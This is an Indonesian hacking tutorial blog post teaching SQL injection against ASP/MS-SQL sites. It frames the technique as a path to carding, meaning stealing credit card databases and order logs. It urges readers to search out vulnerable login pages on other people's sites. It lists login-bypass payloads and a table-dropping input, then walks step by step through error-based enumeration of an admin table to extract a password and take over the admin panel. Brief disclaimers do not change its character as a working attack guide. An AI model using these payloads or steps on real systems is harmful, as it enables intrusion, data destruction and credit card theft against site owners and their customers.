Site menu |
|
|
Section categories |
HACKER
[10]
Disini kita membahas tentang Hacking pada Kartu Kredit, yang disadur dari Jawa Pos.
|
|
|
Tag Board |
|
|
Our poll |
|
|
Statistics |
Total online: 1 Guests: 1 Users: 0 |
|
Login form |
|
|
|
Main » 2011 » January » 30 » HACKING TUTORIAL - 9
11:27:39 HACKING TUTORIAL - 9 |
SQL INJECTION
Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa
itu sql injection dan kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL
statement ke 'query' dengan cara manipulasi data input ke applikasi tsb.
Diantara DB format seperti PHP MySQL dan ASP MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP MsSql yang udah dicoba pada IIS 5 dan
beberapa sql injection pada url.
Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut, sekarang kita mulai aja dengan
dasar-dasar sql injection :d.
Biasanya di sql statment
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id, user_name dan password pada
table user.
Biasanya pada login page dengan mengunakan statment result setnya sebagai
berikut :
select id, user_name,password from user where name = 'echo' and
password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax scr i pt akan diberi tau dan
ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi'
SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out' dari delimiter nya SQL.
Jadi kalau misal ada inputan
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan
akan kosong deh tuh loginya :D
oh iya '--' merupakan mark nya MSSQL, jadi perintah selanjutnya nggak di
execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login scr i pt seperti
input login password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='" login
"' and password='" pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink*
negative)
pasti ke drop table users
Aduh pada pusing ya , gini deh cara gampangnya and kita lupakan yang diatas :P
kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya (kalau
anda punya situs belanja online milik Anda sendiri, lebih baik diujicoba di
situs sendiri sehingga tidak merugikan orang lain), lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya
user:admin
pass:' or 1=1--
Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau :
user:' or 1=1--
admin:' or 1=1--
Gak bisa nich gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja
deh untuk tes kalau ga lo bisa buat sendiri scr i pt dan tes karena gw udah
coba buat sendiri dan berhasil tanpa melakukan paket filter pada db nya. Untuk
test apakah suatu page mempunyai vulnerable , begini caranya :
Kalian pernah melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam
addressnya :
http://victim/index.asp?id=10
Selain kita test dengan login page diatas tadi, kita test dalam melakukan
sedikit tambahan
pada addressnya seperti memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download
source HTML dari page target lalu kita tamhankan hidden field pada source
tersebut sebagai contoh :
action="http://victim/admin/login.asp" method="post">
Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan
password dan username. Ingat scr i pt ini ditamhakna pd scr i pt yg sudah
kalian download dr target .
Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat
penting.Lihat contoh:
Pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan
untuk variable name tsb .
Kalau ditulis dalam scr i pt ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat &
"'"
set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan
pd sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
Lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query
nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
Artinya v_cat mendapatkan masukan berupa variable laptop atau var 1=1(kosong)
yang menyebabkan Sql Server menjadi bingung dan akan mengeksekusi Select * pada
table tsb yang mengakibatkan kita bisa masuk kedalam db teserbut dan db tsb tdk
berfungsi :d. Lalu tanda -- merupakan mark dari sql untuk ignore semua perintah.
Bisa dibayangkan kalau terjadi pada login page Kita bisa masuk kedalam login
page tanpa password dan user name :d.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Selain masuk kedalam page tersebut kita
juga bisa memanfaatkannya untuk remote execution dengan sql Injection. Ingat
ini hanya sebagai latihan pembelajaran, jangan disalahgunakan, saya tidak ingin
mendapat dosa kolektif hanya karena gara-gara Anda tiba-tiba tergoda oleh setan
dan menjadi orang yang jahat. Ingat menjadi jahat itu perbuatan dosa! Neraka
akan menunggu Anda!
Sebenarnya SQL Injection ini merupakan
sebuah metode tersendiri dalam dunia hacking. Hanya saja SQL Injection dapat
digunakan untuk aktivitas carding. Persoalan apa dan bagaimana SQL Injection
tidak akan saya singgung lagi, karena sudah dibahas di bagian paling awal dalam
artikel ini. Boleh dibilang, saya hanya mengulas kembali apa yang sudah saya
jelaskan dibagian awal tadi.
Melalui SQL Injection, maka seseorang bisa memasuki sebuah sistem. Entah
bagaimanapun caranya. Cara yang paling sederhana adalah dengan menggunakan
password dan account-nya: 'or"='
Bisa juga accountnya: admin, lalu passwordnya: 'or"='
Dengan cara tersebut, maka seseorang bisa memasuki sebuah sistem, seolah-olah
dia adalah admin situs tersebut. Tentu saja admin gadungan tersebut bisa
mengobok-obok sebuah sistem. Di dalamnya, admin tersebut bisa mendownload file
database yang tentu saja mengandung nomor kartu kredit di dalamnya.
Selain itu, juga bisa melakukan aktivitas instant carding, yaitu dengan melihat
file order.log ataupun order.txt.
Maaf, saya tidak menjelaskan teknik SQL Injection dengan mengakses tabel per
tabel. Saya hanya mau menunjukkan konsepnya saja.
Berikut ini ada beberapa kemungkinan lain password yang bisa dicoba seperti:
'or'a'='a
'or1=1-
"or1=1--
or1=1--
'or'a'='a
"or"a"="a
')or('a'='a
Saya tebak, anda pasti sudah
sering mendengar istilah "SQL Injection", bukan ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan hal lain mengenai step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.
Kita akan mengambil contoh di site http://www.situs-target.com/
Misalnya ada dua kelemahan di website ini, yaitu:
1. Tabel News
2. Tabel Admin
Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.
Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.situs-target.com/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP
Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD
Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.
Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.
Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.
Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.
Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char
Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.
Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[ ] NAMA = bill
[ ] PASSWORD = m@mpusk@u
Silahkan login ke :
www.situs-target.com/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba
Atau kita pakai jalan pintas saja....
Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin, bahwa websitenya
vulnerable !!!
Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.situs-target.com/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).
Kita inject-kan :
www.situs-target.com/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.
Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime
Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan pengetahuan
anda. Anda bisa men-insert berita yang bisa anda tentukan sendiri isinya.
Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.
|
Category: HACKER |
Views: 1387 |
Added by: Pendekar
| Tags:
| Rating: / |
|
|
Search |
|
|
Calendar |
|
|
Entries archive |
|
|
|